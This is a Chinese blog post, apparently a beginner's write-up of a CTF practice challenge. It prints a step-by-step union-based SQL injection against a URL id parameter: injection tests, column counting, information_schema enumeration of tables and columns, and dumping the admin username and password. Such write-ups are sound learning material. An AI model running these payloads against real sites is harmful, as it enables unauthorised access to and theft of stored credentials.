初入CTF(封神榜第一关)

注:网址中的%20是空格的意思

1判断是否存在注入点


构造?id=1 and 1=1(不报错)

构造?id=1 and 1=2(报错或者不显示内容)

报错说明and后面的语句被识别

2判断回显字段的长度


构造?id=1 and 1=1 order by 5(这需要尝试多个数值直至不显示,这里试到3就可以看出来)

 

3判断回显的字段


构造?id=1 and 1=2 union select 1,2,3……(显示的字段即为回显发生的地点,后面数字根据上一步判断)其中1=2是为了让页面不显示内容只显示后面查询的内容

亲测1=1不行(应该是被前面的挡住了)

在后面将需要显示的变量放在回显的地方(这里回显发生在第二个字段)

4数据库相关信息


利用数据库中的函数查询数据库系统名称

这里构造:?id=1 and 1=2 union select 1,database();

select database();

select version();这里同理。

这些都是数据库函数,具体让它产生效果需要将其放在指定位置

5正式开始


1获取数据表的信息

构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1(其中information_schema是一个数据库本身就有的表,里面存放数据库中的表和其他信息)

表名为admin

2获取表中有哪些列

构造

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

有一列叫id

改limit 0,1为limit 1,1

接着改

直到没有显示(爆出所有字段名)

3接着就可以直接查数据(已知表明叫admin)

构造

?id=1 and 1=2 union select 1,username from admin limit 0,1

爆出username为admin

同理爆出密码等

总结:这是一个简单的sql注入题(也是我几乎0基础做的第一个题),其中较为重要的知识点是数据库本身存在的information_schema表储存有数据库中表的信息。其他注入语句比较基础的。

posted @ 2021-05-19 22:05  bighu  阅读(182)  评论(0编辑  收藏  举报